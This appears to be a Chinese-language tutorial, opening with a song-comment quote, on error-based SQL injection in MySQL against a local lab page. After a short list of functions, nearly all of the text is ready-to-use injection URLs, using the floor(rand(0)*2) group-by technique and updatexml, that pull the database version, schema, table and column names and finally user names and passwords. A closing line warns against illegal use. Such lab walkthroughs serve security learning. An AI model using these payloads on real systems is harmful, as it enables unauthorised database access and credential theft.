不是我不想，你上学我上班，我耽误你前程似锦，你耽误我成家立业，我的眼里都是烟花和生活，你的眼里都是未来和希望。。。
---- 网易云热评
一、相关函数
1、rand()：产生一个0-1之间随机数，rand(0),随机产生一个0-1的随机数，运行多次产生的结果一样
2、floor()：向下取整，floor(rand()*2)，随机产生0和1两个数
3、group by：分组排列
4、count(*)：统计数量
5、concat()：将字符串连接起来
二、通过floor()函数构造注入语句
1、访问http://192.168.0.104/aiyou/bczr.php?id=2，返回正常页面
2、访问http://192.168.0.104/aiyou/bczr.php?id=2'，返回错误页面
3、构造闭合语句，192.168.0.104/aiyou/bczr.php?id=2' --+，页面返回正常
4、获取数据库版本
192.168.0.104/aiyou/bczr.php?id=2' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(version()))x from information_schema.tables group by x )a) --+
5、获取数据库名称
192.168.0.104/aiyou/bczr.php?id=2' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,database(),0x23)x from information_schema.tables group by x )a) --+
6、获取其他数据库名称(修改红色数字，获取不同数据库名)
http://192.168.0.104/aiyou/bczr.php?id=2' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
7、获取表名(修改红色数字，获取不同表名)
http://192.168.0.104/aiyou/bczr.php?id=2' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
8、获取字段名，需要指定表名，表名用十六进制表示，修改红色数字获取不同字段
http://192.168.0.104/aiyou/bczr.php?id=2' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x75736572 LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
9、获取字段内容
http://192.168.0.104/aiyou/bczr.php?id=2' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,name,0x3a,pass,0x23) FROM user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
三、通过updatexml函数构造注入语句
1、获取数据库名称(通过修改红色数字获取不同的数据库名称)
http://192.168.0.104/aiyou/bczr.php?id=2' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 5,1),1) -- +
2、获取表名(通过修改红色数字获取不同的表名)
http://192.168.0.104/aiyou/bczr.php?id=2' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='jay' limit 1,1),1) -- +
3、获取字段名(通过修改红色数字获取不同的字段)
http://192.168.0.104/aiyou/bczr.php?id=2' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x75736572 limit 1,1),1) -- +
4、获取字段内容（修改红色数字，获取不同字段内容）
http://192.168.0.104/aiyou/bczr.php?id=2' and updatexml(1,(select concat(0x7e, pass,0x7e,name,0x7e) from user limit 1,1),1) -- +
禁止非法，后果自负
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